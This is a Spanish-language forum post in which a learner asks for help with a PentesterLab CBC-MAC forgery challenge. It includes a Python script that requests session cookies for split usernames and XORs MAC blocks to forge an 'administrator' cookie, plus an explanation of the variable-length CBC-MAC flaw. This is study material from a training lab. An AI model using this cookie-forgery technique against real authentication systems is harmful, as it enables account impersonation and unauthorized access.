Duda respecto al ataque CBC-MAC forgery

Iniciado por retr02332, 5 Mayo 2021, 20:38 PM

0 Miembros y 1 Visitante están viendo este tema.

retr02332

Estoy haciendo un reto en pentesterlab. Lastimosamente no puedo pasar el link (creo, la verdad no se si se pueda hacer esto). Así que procederé a explicar mi duda sin mas, lo mas claro posible.

Código (python) [Seleccionar]
from Crypto.Util.strxor import strxor
import requests
import base64

DOMAIN = "http://ptl-xxxxxxxx-xxxxxxxx.libcurl.so/"

def data2bin(data):
   bytearray_ = bytearray(data.decode("latin-1"), "utf8")
   binaryArray = [bin(byte_).strip("0b").zfill(8) for byte_ in bytearray_]

   return "".join(binaryArray)

def getCookie(domain, endpoint, username):
   response = requests.post(domain+endpoint, data={"username":username, "password":"Password1"}, allow_redirects=False)
   return (username, response.headers["Set-Cookie"].split("=")[1])

username1 = b"administ"
username2 = b"rador\x00\x00\00"

cookie1 = getCookie(DOMAIN, "login.php", username1)[1].replace("%3D", "=").replace("%2B", "+")
decodeCookie1 = base64.b64decode(cookie1)
signature1 = ( decodeCookie1.decode("latin-1").split("--")[1] ).encode()

cookie2 = getCookie(DOMAIN, "login.php", username2)[1].replace("%3D", "=").replace("%2B", "+")
decodeCookie2 = base64.b64decode(cookie2)
signature2 = ( decodeCookie2.decode("latin-1").split("--")[1] ).encode()

padding = b"\x00" * (len(signature1)-len(username2))
badUsername = strxor(signature1, username2+padding) # creo que el error es que el nullbyte deberia ser de 3 bytes
#print(badUsername)
#print(strxor(badUsername, signature1)) (HAY 4 BYTES DE MAS, PERO COMO SON NULL NO DEBERIA INTERPRETRARLOS COMO TAL)
#badUsername = strxor(data2bin(signature1), data2bin(username2))

badCookie = getCookie(DOMAIN, "login.php", badUsername)[1].replace("%3D", "=").replace("%2B", "+")
decodeBadCookie = base64.b64decode(badCookie)
badSignature = ( decodeBadCookie.decode("latin-1").split("--")[1] ).encode()

print("Bad Cookie => " + ( base64.b64encode(b"administrator" + b"--" + badSignature) ).decode() )


El reto consiste en ingresar a la web como el usuario administrador. Claramente no puedo registrarme con ese username.

Se sabe que el web usa CBC-MAC(username) como valor de la cookie de sesión.

La cookie de sesión tiene el siguiente aspecto: username--MAC(username), y esta codificada en base64.

OJO: La web usa un NULL IV para el primer bloque de cifrado.

La vulnerabilidad creo que tiene que ver con los mensajes de longitud variable. Lo que he entendido mas o menos es lo siguiente:

Si tenemos un mensaje M1 de 8 bytes, y tenemos un Y1 que es el resultado del respectivo XOR: Y1 = NULL_IV ⊕ M1. Entonces tenemos un  MAC que sera calculado de la siguiente manera:
MAC(Y1)
. Llamemos al resultado del MAC anterior C1.

Entonces a partir de esto, yo deseo forzar alguna cadena antes de que esta sea cifrada, llamemos a esta cadena Y2. Tenga en cuenta que el M1 ya se proceso y ahora se procesara el segundo bloque de cifrado para un M2.

Por lo tanto si queremos forzar un Y2 de nuestro gusto, tan solo tendríamos que hacer:

C1 ⊕Y2 = M2 (aquí obtenemos un mensaje que cuando entre al algoritmo CBC-MAC, generara el Y2 que queremos)

De ese modo cuando le pasemos el M2 al algoritmo CBC-MAC normalmente obtendremos:

M2 ⊕ C1 = Y2 (obtenemos el Y2  que deseábamos)


Por lo tanto, considero que la cadena administrador fue dividida en 2 partes

       * administ                  (8 bytes block)
       * rador\x00\x00\x00  (8 bytes block)


El algoritmo nos dice que el primer bloque se XOR con un NULL IV, pero el segundo bloque se XOR con el C1 del primer bloque.

Por lo tanto si cambiamos el mensaje cambiaremos la firma y es por esto que se toma el ultimo bloque de CBC como MAC. Pero aquí es donde entra lo que dije antes.

Me logeo como administ y recibo un ciphertext que es C1 para ese primer bloque, luego hago rador\x00\x00\x00 ⊕ C1 = Y2 (los byte null es para tener un bloque exacto de 8 bytes)

Entonces creo que lo que debo hacer ahora es juntar administ + Y2 y enviarlo como un username.

Ahora ese Y2 nos servira como mensaje ya que cuando ese Y2 entre al algoritmo CBC-MAC, obtendremos:

Y2 ⊕ C1 = rador\x00\x00\x00 (Aparentemente la misma firma que el usuario administrador)

Según he leído esto hará que tengamos un MAC igual al de administrador y podamos entrar como si fuéramos el.

No entiendo como es que el MAC del username es el correspondiente cifrado de rador\x00\x00\x00, sabiendo que a nivel de backend, esto no es posible porque el segundo bloque no se XOR con un NULL IV, si no con el texto cifrado del bloque anterior C1, por ende es un tanto extraño.

No se si me equivoque en algo. Agradecería me ayudaran a entender este fallo mejor y así poder completar el laboratorio :"D


Si necesitan el link del laboratorio me escriben al DM, entiendan que ese link no es publico y es para evitar implicaciónes legales :"D